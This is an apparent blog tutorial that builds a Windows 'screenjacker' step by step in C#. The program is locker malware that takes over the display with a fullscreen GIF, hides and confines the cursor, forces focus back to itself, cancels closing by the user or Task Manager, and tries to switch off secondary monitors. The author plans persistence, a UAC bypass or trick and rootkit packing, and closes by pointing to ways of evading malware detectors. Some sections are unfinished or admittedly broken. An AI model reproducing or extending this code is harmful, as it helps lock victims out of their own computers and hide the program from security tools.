ScreenJackers

(I'm not sure what to call these, so I'll just borrow the idea from those JuiceJackers and call it a day πŸ‘€)

Essentially, the core idea behind a Screenjacker is, as the name might suggest, to hijack one or multiple (if not all) displays attached to a system to either disable them or play something on them.

I was always fascinated by the stuff that those typical movie hacktivists do where they take over a system and make it display something, like a GIF or a video. Here's an example of a person doing this IRL:

This too:

Doing this kinda stuff to any arbitrary system and making it display some sort of GIF on repeat and/or a video is very cool indeed. But Screenjackers don't just do that, they essentially lock the user out of their own system by overriding their inputs until either some sort of condition is met, or for the duration of the media being played.

Interestingly enough, the control disabling part is not that difficult, the most difficult part is actually the "taking over the display(s)" part, simply because there's no universal display control/window manager that's installed on ALL systems. So, it only makes sense if we make an instance of such malware for a specific target and port it (or at least attempt to port it) to for another target system with different specs.

For this particular guide, I'll be targeting a system with the following specs:

  • Operating System: Windows 10 Home (10.0.19045 Build 19045)

  • Display Driver Version: 30.0.100.9805

  • Display: DELL S2216H 1920x1080x60Hz

  • Dotnet Details:

C:\Users\user> dotnet --list-sdks
6.0.202 [C:\Program Files\dotnet\sdk]

C:\Users\user> dotnet --list-runtimes
Microsoft.AspNetCore.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.NETCore.App 3.1.24 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 5.0.10 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.WindowsDesktop.App 3.1.24 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.10 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]

Imma be honest, at the time of making this, it's my first time ever working with either Visual Studio OR C# or Windows Forms app development. So my apologies for all the nasty code you're about to see. I'll try my best to clean it up as much as possible though :3

Okay... So to start off, let's take a default windows forms app:

I'm not sure if it'd make a difference if we choose the .NET version of the template for our use case πŸ€·β€β™‚οΈ

With this new and shiny template project, we need to do a couple of things:

  1. Make the thing run in Fullscreen.

  2. Disable and Hide the Mouse.

  3. Make our GIF/Video display on the window.

  4. Prevent the user from closing the window.

  5. Disable as many input vectors as we can.

  6. (Optional) Disable other monitors/displays (if any).

  7. (Optional) Make the thing persistent so that even turning off the system does not get rid of our... "prank program".

  8. (Optional) Pack it with a rootkit so that it either bypasses UAC or tricks the user into accepting the UAC prompt (at which point this will be considered a trojan I guess).

  9. Building the program

Making the Program Fullscreen

When you start off, you'll have like 2 primary files which contain code for the application: Program.cs and Form1.Designer.cs.

Our main interest is in the Form1.Designer.cs file; so just pin that sucker so that you don't lose track of it. Next, we wanna open the GUI based designer thingy that Visual Studio provides. If you're wondering how to do that, in the file tree, right click on the Form1.cs and click View Designer or simply press Shift+F7

Once you have this open, switch back to the Form1.Designer.cs file and locate the InitializeComponent function generated by the designer at the end. This will contain the following initially:

private void InitializeComponent() 
{
    this.components = new System.ComponentModel.Container();
    this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
    this.ClientSize = new System.Drawing.Size(800, 450);
    this.Text = "Form1";
}

Most of the stuff added to make our screenjacker will be here. To make the window go fullscreen, add the following:

// Bring it into "focus" and move the window to the top
this.Activate();
this.TopMost         = true;

// Make the window borderless
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;

// Maximize the window so that it takes up all space on the current monitor
this.WindowState     = System.Windows.Forms.FormWindowState.Maximized;

This is not exactly making it fullscreen, but rather a borderless-maximized window (it works for now, so if you have a suggestion or alternative please feel free to comment here or email me or something ☺️)

Disabling the Mouse/Cursor

Next up, let's deal with the mouse. We can't really "disable the mouse" as that would require hardware control; rather than that complicated mess, consider the following clever workaround that we can use to give an illusion that the mouse is disabled:

  • Hide the cursor so that the user cannot see it.

  • Restrict the movement of the cursor so that it does not leave the bounds of the window.

Yes, I know that we can disable the mouse completely by deleting the drivers for it, but for the purposes of safer testing of this stuff, I chose to go with this approach instead. Albeit, I'll be including code for the driver deletion magic either here or in an embedded GitHub repository link.

Hiding the cursor is fairly simple in windows forms apps, it's accomplished by a call to the Hide function of the Cursor class:

Cursor.Hide();

Just in case the user somehow manages to display the cursor while in the window, you can also add the following line as a failsafe:

Cursor = System.Windows.Forms.Cursors.No;

Note that this☝️ line should be added before you hide the cursor.

Now that our cursor is nice and tucked away hidden, we also must consider that maybe the user has managed to resize the window or has multiple monitors. This means that they can just move the cursor out of the window's bounds and do whatever. To work around this, we can make it so that whenever the cursor tries to leave the window, it's moved back inside and/or is restricted.

To achieve this, we first need to define a function that moves the cursor into the window's bounds:

private void MoveCursor(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;        
}

If you're wondering about the function arguments, they're essentially there so that we can get this function as a System.EventHandler.

We need this function to be executed on (at least) the following events:

  • When the application is started.

  • When the user tries to move the window.

  • When the user tries to resize the window.

This can be done by adding our function as an event handler to: Form.Activate, Control.Resize, Control.LocationChanged events. The following code accomplishes this:

this.Resize          += new System.EventHandler(this.MoveCursor);
this.Activated       += new System.EventHandler(this.MoveCursor);
this.LocationChanged += new System.EventHandler(this.MoveCursor);

We must also consider that the user may try to do an Alt+Tab and try to get out, but that's fairly easy to fix. We just monitor the window's Focus. That is, if the window goes out of focus, we refocus on it. (I honestly hope that this makes sense πŸ˜…):

This was partly handled by us modifying the Form.Activated event to move the mouse cursor into the window. To add the refocusing thing, we can just modify the MoveCursor function and maybe rename it to something better:

private void MoveUserIntoWindow(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;
    
    this.Activate();
    this.Focus();
}

We'll also need modify the previous lines adding this funciton to Resize, Activated, and LocationChanged; and to add this sucker as an event handler to some more events...

this.Resize          += new System.EventHandler(this.MoveUserIntoWindow);
this.Activated       += new System.EventHandler(this.MoveUserIntoWindow);
this.LocationChanged += new System.EventHandler(this.MoveUserIntoWindow);

// More event handlers!!
this.Enter           += new System.EventHandler(this.MoveUserIntoWindow);
this.GotFocus        += new System.EventHandler(this.MoveUserIntoWindow);
this.LostFocus       += new System.EventHandler(this.MoveUserIntoWindow);

With this, we can be moderately assured that the user's locked in our window's bounds.

Displaying the Payload Media

Remember the Designer view that we opened before? It's time to put that sucker into use (only shortly tho >.>).

While in the Designer view/tab, open the Toolbox (usually located on the left side of the window). Search for the PictureBox component and drag'n'drop it into the preview window. That's all we need the designer view for; Now switch back to the Form1.Designer.cs file. You'll notice that the following code is prepended to our existing code in InitializeComponent:

this.pictureBox1 = new System.Windows.Forms.PictureBox();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
// 
// pictureBox1
// 
this.pictureBox1.Location = new System.Drawing.Point(311, 186);
this.pictureBox1.Name     = "pictureBox1";
this.pictureBox1.Size     = new System.Drawing.Size(100, 50);
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop  = false;

With the following at the end:

((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);

No need to change this; but we will add some more stuff to, for example, make the image/GIF/video the same size as the window. For this example (and to keep things simple, I'll make it just display a GIF, for videos, refer to this msdocs page).

Let's first stretch our GIF to fit the window:

this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;

Done! Next we'll embed the actual GIF using the ImageLocation:

this.pictureBox1.ImageLocation = "URL_OR_PATH_TO_THE_ASSET";

And..... we're done! Our (primitive)screenjacker is now ready!

Prevent the user from closing the window

A very simple and effective method for this is to add the following function as an event handler for the FormClosing event:

private void Form1_FormClosing(object sender, FormClosingEventArgs e) 
{
    if (e.CloseReason == CloseReason.UserClosing || 
        e.CloseReason == CloseReason.TaskManagerClosing || 
        e.CloseReason == CloseReason.FormOwnerClosing ) {
        // Cancel the event
        e.Cancel = true;
    }    
}

Disabling Other Input Vectors

W.I.P

Disabling Other Monitors/Displays

Since there's a possibility that the target may have more than 1 display, we need to make sure that if that's the case, we disable as many as possible (if not all). All displays except the primary one. Some googling led me to this S.O. post. Using that and some quick makeshift code, we can put together something that works:

private int SC_MONITORPOWER = 0xF170;
private uint WM_SYSCOMMAND = 0x0112;

[DllImport("user32.dll")]
static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
private void DisableNonPrimaryScreens() 
{
    Screen primaryScreen = Screen.PrimaryScreen;
    Screen[] screens = Screen.AllScreens;
        if (screens.Length > 1) 
        {
            foreach (Screen s in screens) 
            {
                if (!s.Equals(primaryScreen)) 
                {
                    Form frm = new Form();
                    frm.Location = s.WorkingArea.Location;
                    SendMessage(frm.Handle, WM_SYSCOMMAND, (IntPtr)SC_MONITORPOWER, (IntPtr)2);
                }
            }
        }
}

A call to this function can be put into the MoveUserIntoWindow function from before for maximum effect (i guess πŸ€·β€β™‚οΈ)

private void MoveUserIntoWindow(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;
    
    this.Activate();
    this.Focus();
    this.DisableNonPrimaryScreens();
}

I know, I know, it doesn't really work, and I'm not sure what would, so if any of you'll is more experienced than me with all... this, please lemme know and reach out and help and stuff. ☺️

PS: In the case I do figure something out, I'll be sure to update this

Building the Program

The building process is quite simple really, just follow the steps on the following Microsoft article:

Once the file is built, there's a couple of things that you can do just to make sure that the file evades basic malware detectors.

Last updated